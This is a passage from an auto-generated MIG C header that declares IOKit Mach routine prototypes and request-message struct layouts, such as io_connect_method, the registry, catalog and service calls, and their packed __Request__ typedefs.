mach_msg_type_number_t *outputCnt
);
/* Routine io_connect_method_scalarI_structureI */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method_scalarI_structureI
(
mach_port_t connection,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t inputStruct,
mach_msg_type_number_t inputStructCnt
);
/* Routine io_connect_method_structureI_structureO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method_structureI_structureO
(
mach_port_t connection,
uint32_t selector,
io_struct_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt
);
/* Routine io_registry_entry_get_path */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_path
(
mach_port_t registry_entry,
io_name_t plane,
io_string_t path
);
/* Routine io_registry_get_root_entry */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_get_root_entry
(
mach_port_t master_port,
mach_port_t *root
);
/* Routine io_registry_entry_set_properties */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_set_properties
(
mach_port_t registry_entry,
io_buf_ptr_t properties,
mach_msg_type_number_t propertiesCnt,
kern_return_t *result
);
/* Routine io_registry_entry_in_plane */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_in_plane
(
mach_port_t registry_entry,
io_name_t plane,
boolean_t *inPlane
);
/* Routine io_object_get_retain_count */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_object_get_retain_count
(
mach_port_t object,
uint32_t *retainCount
);
/* Routine io_service_get_busy_state */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_busy_state
(
mach_port_t service,
uint32_t *busyState
);
/* Routine io_service_wait_quiet */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_wait_quiet
(
mach_port_t service,
mach_timespec_t wait_time
);
/* Routine io_registry_entry_create_iterator */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_create_iterator
(
mach_port_t registry_entry,
io_name_t plane,
uint32_t options,
mach_port_t *iterator
);
/* Routine io_iterator_is_valid */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_iterator_is_valid
(
mach_port_t iterator,
boolean_t *is_valid
);
/* Routine io_catalog_send_data */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_send_data
(
mach_port_t master_port,
uint32_t flag,
io_buf_ptr_t inData,
mach_msg_type_number_t inDataCnt,
kern_return_t *result
);
/* Routine io_catalog_terminate */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_terminate
(
mach_port_t master_port,
uint32_t flag,
io_name_t name
);
/* Routine io_catalog_get_data */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_get_data
(
mach_port_t master_port,
uint32_t flag,
io_buf_ptr_t *outData,
mach_msg_type_number_t *outDataCnt
);
/* Routine io_catalog_get_gen_count */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_get_gen_count
(
mach_port_t master_port,
uint32_t *genCount
);
/* Routine io_catalog_module_loaded */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_module_loaded
(
mach_port_t master_port,
io_name_t name
);
/* Routine io_catalog_reset */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_catalog_reset
(
mach_port_t master_port,
uint32_t flag
);
/* Routine io_service_request_probe */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_request_probe
(
mach_port_t service,
uint32_t options
);
/* Routine io_registry_entry_get_name_in_plane */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_name_in_plane
(
mach_port_t registry_entry,
io_name_t plane,
io_name_t name
);
/* Routine io_service_match_property_table */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_match_property_table
(
mach_port_t service,
io_string_t matching,
boolean_t *matches
);
/* Routine io_async_method_scalarI_scalarO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_async_method_scalarI_scalarO
(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_scalar_inband_t output,
mach_msg_type_number_t *outputCnt
);
/* Routine io_async_method_scalarI_structureO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_async_method_scalarI_structureO
(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt
);
/* Routine io_async_method_scalarI_structureI */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_async_method_scalarI_structureI
(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
uint32_t selector,
io_scalar_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t inputStruct,
mach_msg_type_number_t inputStructCnt
);
/* Routine io_async_method_structureI_structureO */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_async_method_structureI_structureO
(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
uint32_t selector,
io_struct_inband_t input,
mach_msg_type_number_t inputCnt,
io_struct_inband_t output,
mach_msg_type_number_t *outputCnt
);
/* Routine io_service_add_notification */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_add_notification
(
mach_port_t master_port,
io_name_t notification_type,
io_string_t matching,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
mach_port_t *notification
);
/* Routine io_service_add_interest_notification */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_add_interest_notification
(
mach_port_t service,
io_name_t type_of_interest,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
mach_port_t *notification
);
/* Routine io_service_acknowledge_notification */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_acknowledge_notification
(
mach_port_t service,
natural_t notify_ref,
natural_t response
);
/* Routine io_connect_get_notification_semaphore */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_get_notification_semaphore
(
mach_port_t connection,
natural_t notification_type,
semaphore_t *semaphore
);
/* Routine io_connect_unmap_memory */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_unmap_memory
(
mach_port_t connection,
uint32_t memory_type,
task_t into_task,
vm_address_t address
);
/* Routine io_registry_entry_get_location_in_plane */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_location_in_plane
(
mach_port_t registry_entry,
io_name_t plane,
io_name_t location
);
/* Routine io_registry_entry_get_property_recursively */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_property_recursively
(
mach_port_t registry_entry,
io_name_t plane,
io_name_t property_name,
uint32_t options,
io_buf_ptr_t *properties,
mach_msg_type_number_t *propertiesCnt
);
/* Routine io_service_get_state */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_state
(
mach_port_t service,
uint64_t *state,
uint32_t *busy_state,
uint64_t *accumulated_busy_time
);
/* Routine io_service_get_matching_services_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_services_ool
(
mach_port_t master_port,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
kern_return_t *result,
mach_port_t *existing
);
/* Routine io_service_match_property_table_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_match_property_table_ool
(
mach_port_t service,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
kern_return_t *result,
boolean_t *matches
);
/* Routine io_service_add_notification_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_add_notification_ool
(
mach_port_t master_port,
io_name_t notification_type,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
kern_return_t *result,
mach_port_t *notification
);
/* Routine io_object_get_superclass */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_object_get_superclass
(
mach_port_t master_port,
io_name_t obj_name,
io_name_t class_name
);
/* Routine io_object_get_bundle_identifier */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_object_get_bundle_identifier
(
mach_port_t master_port,
io_name_t obj_name,
io_name_t class_name
);
/* Routine io_service_open_extended */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_open_extended
(
mach_port_t service,
task_t owningTask,
uint32_t connect_type,
NDR_record_t ndr,
io_buf_ptr_t properties,
mach_msg_type_number_t propertiesCnt,
kern_return_t *result,
mach_port_t *connection
);
/* Routine io_connect_map_memory_into_task */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_map_memory_into_task
(
mach_port_t connection,
uint32_t memory_type,
task_t into_task,
mach_vm_address_t *address,
mach_vm_size_t *size,
uint32_t flags
);
/* Routine io_connect_unmap_memory_from_task */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_unmap_memory_from_task
(
mach_port_t connection,
uint32_t memory_type,
task_t from_task,
mach_vm_address_t address
);
/* Routine io_connect_method */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method
(
mach_port_t connection,
uint32_t selector,
io_scalar_inband64_t scalar_input,
mach_msg_type_number_t scalar_inputCnt,
io_struct_inband_t inband_input,
mach_msg_type_number_t inband_inputCnt,
mach_vm_address_t ool_input,
mach_vm_size_t ool_input_size,
io_struct_inband_t inband_output,
mach_msg_type_number_t *inband_outputCnt,
io_scalar_inband64_t scalar_output,
mach_msg_type_number_t *scalar_outputCnt,
mach_vm_address_t ool_output,
mach_vm_size_t *ool_output_size
);
/* Routine io_connect_async_method */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_async_method
(
mach_port_t connection,
mach_port_t wake_port,
io_async_ref64_t reference,
mach_msg_type_number_t referenceCnt,
uint32_t selector,
io_scalar_inband64_t scalar_input,
mach_msg_type_number_t scalar_inputCnt,
io_struct_inband_t inband_input,
mach_msg_type_number_t inband_inputCnt,
mach_vm_address_t ool_input,
mach_vm_size_t ool_input_size,
io_struct_inband_t inband_output,
mach_msg_type_number_t *inband_outputCnt,
io_scalar_inband64_t scalar_output,
mach_msg_type_number_t *scalar_outputCnt,
mach_vm_address_t ool_output,
mach_vm_size_t *ool_output_size
);
/* Routine io_registry_entry_get_registry_entry_id */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_registry_entry_id
(
mach_port_t registry_entry,
uint64_t *entry_id
);
/* Routine io_connect_method_var_output */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_connect_method_var_output
(
mach_port_t connection,
uint32_t selector,
io_scalar_inband64_t scalar_input,
mach_msg_type_number_t scalar_inputCnt,
io_struct_inband_t inband_input,
mach_msg_type_number_t inband_inputCnt,
mach_vm_address_t ool_input,
mach_vm_size_t ool_input_size,
io_struct_inband_t inband_output,
mach_msg_type_number_t *inband_outputCnt,
io_scalar_inband64_t scalar_output,
mach_msg_type_number_t *scalar_outputCnt,
io_buf_ptr_t *var_output,
mach_msg_type_number_t *var_outputCnt
);
/* Routine io_service_get_matching_service */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_service
(
mach_port_t master_port,
io_string_t matching,
mach_port_t *service
);
/* Routine io_service_get_matching_service_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_service_ool
(
mach_port_t master_port,
io_buf_ptr_t matching,
mach_msg_type_number_t matchingCnt,
kern_return_t *result,
mach_port_t *service
);
/* Routine io_service_get_authorization_id */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_authorization_id
(
mach_port_t service,
uint64_t *authorization_id
);
/* Routine io_service_set_authorization_id */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_set_authorization_id
(
mach_port_t service,
uint64_t authorization_id
);
/* Routine io_server_version */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_server_version
(
mach_port_t master_port,
uint64_t *version
);
/* Routine io_registry_entry_get_properties_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_properties_bin
(
mach_port_t registry_entry,
io_buf_ptr_t *properties,
mach_msg_type_number_t *propertiesCnt
);
/* Routine io_registry_entry_get_property_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_property_bin
(
mach_port_t registry_entry,
io_name_t plane,
io_name_t property_name,
uint32_t options,
io_buf_ptr_t *properties,
mach_msg_type_number_t *propertiesCnt
);
/* Routine io_service_get_matching_service_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_service_bin
(
mach_port_t master_port,
io_struct_inband_t matching,
mach_msg_type_number_t matchingCnt,
mach_port_t *service
);
/* Routine io_service_get_matching_services_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_get_matching_services_bin
(
mach_port_t master_port,
io_struct_inband_t matching,
mach_msg_type_number_t matchingCnt,
mach_port_t *existing
);
/* Routine io_service_match_property_table_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_match_property_table_bin
(
mach_port_t service,
io_struct_inband_t matching,
mach_msg_type_number_t matchingCnt,
boolean_t *matches
);
/* Routine io_service_add_notification_bin */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_service_add_notification_bin
(
mach_port_t master_port,
io_name_t notification_type,
io_struct_inband_t matching,
mach_msg_type_number_t matchingCnt,
mach_port_t wake_port,
io_async_ref_t reference,
mach_msg_type_number_t referenceCnt,
mach_port_t *notification
);
/* Routine io_registry_entry_get_path_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_get_path_ool
(
mach_port_t registry_entry,
io_name_t plane,
io_string_inband_t path,
io_buf_ptr_t *path_ool,
mach_msg_type_number_t *path_oolCnt
);
/* Routine io_registry_entry_from_path_ool */
#ifdef mig_external
mig_external
#else
extern
#endif /* mig_external */
kern_return_t io_registry_entry_from_path_ool
(
mach_port_t master_port,
io_string_inband_t path,
io_buf_ptr_t path_ool,
mach_msg_type_number_t path_oolCnt,
kern_return_t *result,
mach_port_t *registry_entry
);
__END_DECLS
/********************** Caution **************************/
/* The following data types should be used to calculate */
/* maximum message sizes only. The actual message may be */
/* smaller, and the position of the arguments within the */
/* message layout may vary from what is presented here. */
/* For example, if any of the arguments are variable- */
/* sized, and less than the maximum is sent, the data */
/* will be packed tight in the actual message to reduce */
/* the presence of holes. */
/********************** Caution **************************/
/* typedefs for all requests */
#ifndef __Request__iokit_subsystem__defined
#define __Request__iokit_subsystem__defined
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_object_get_class_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t classNameOffset; /* MiG doesn't use it */
mach_msg_type_number_t classNameCnt;
char className[128];
} __Request__io_object_conforms_to_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_iterator_next_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_iterator_reset_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */
mach_msg_type_number_t matchingCnt;
char matching[512];
} __Request__io_service_get_matching_services_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t property_nameCnt;
char property_name[128];
} __Request__io_registry_entry_get_property_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
uint32_t options;
} __Request__io_registry_create_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_iterator_enter_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_iterator_exit_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t pathOffset; /* MiG doesn't use it */
mach_msg_type_number_t pathCnt;
char path[512];
} __Request__io_registry_entry_from_path_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_entry_get_name_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_entry_get_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t property_nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t property_nameCnt;
char property_name[128];
mach_msg_type_number_t dataCnt;
} __Request__io_registry_entry_get_property_bytes_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_child_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_parent_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_service_close_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_connect_get_service_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t port;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t notification_type;
uint32_t reference;
} __Request__io_connect_set_notification_port_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t into_task;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t memory_type;
vm_address_t address;
vm_size_t size;
uint32_t flags;
} __Request__io_connect_map_memory_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t connect_to;
/* end of the kernel processed data */
} __Request__io_connect_add_client_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Request__io_connect_set_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t outputCnt;
} __Request__io_connect_method_scalarI_scalarO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t outputCnt;
} __Request__io_connect_method_scalarI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t inputStructCnt;
char inputStruct[4096];
} __Request__io_connect_method_scalarI_structureI_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t selector;
mach_msg_type_number_t inputCnt;
char input[4096];
mach_msg_type_number_t outputCnt;
} __Request__io_connect_method_structureI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_path_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_registry_get_root_entry_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t properties;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t propertiesCnt;
} __Request__io_registry_entry_set_properties_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_object_get_retain_count_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_service_get_busy_state_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_timespec_t wait_time;
} __Request__io_service_wait_quiet_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
uint32_t options;
} __Request__io_registry_entry_create_iterator_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_iterator_is_valid_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t inData;
/* end of the kernel processed data */
NDR_record_t NDR;
uint32_t flag;
mach_msg_type_number_t inDataCnt;
} __Request__io_catalog_send_data_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t flag;
mach_msg_type_number_t nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t nameCnt;
char name[128];
} __Request__io_catalog_terminate_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t flag;
} __Request__io_catalog_get_data_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
} __Request__io_catalog_get_gen_count_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t nameOffset; /* MiG doesn't use it */
mach_msg_type_number_t nameCnt;
char name[128];
} __Request__io_catalog_module_loaded_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t flag;
} __Request__io_catalog_reset_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
uint32_t options;
} __Request__io_service_request_probe_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t planeOffset; /* MiG doesn't use it */
mach_msg_type_number_t planeCnt;
char plane[128];
} __Request__io_registry_entry_get_name_in_plane_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
mach_msg_type_number_t matchingOffset; /* MiG doesn't use it */
mach_msg_type_number_t matchingCnt;
char matching[512];
} __Request__io_service_match_property_table_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t outputCnt;
} __Request__io_async_method_scalarI_scalarO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t referenceCnt;
io_user_reference_t reference[8];
uint32_t selector;
mach_msg_type_number_t inputCnt;
io_user_scalar_t input[16];
mach_msg_type_number_t outputCnt;
} __Request__io_async_method_scalarI_structureO_t __attribute__((unused));
#ifdef __MigPackStructs
#pragma pack()
#endif
#ifdef __MigPackStructs
#pragma pack(4)
#endif
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t wake_port;
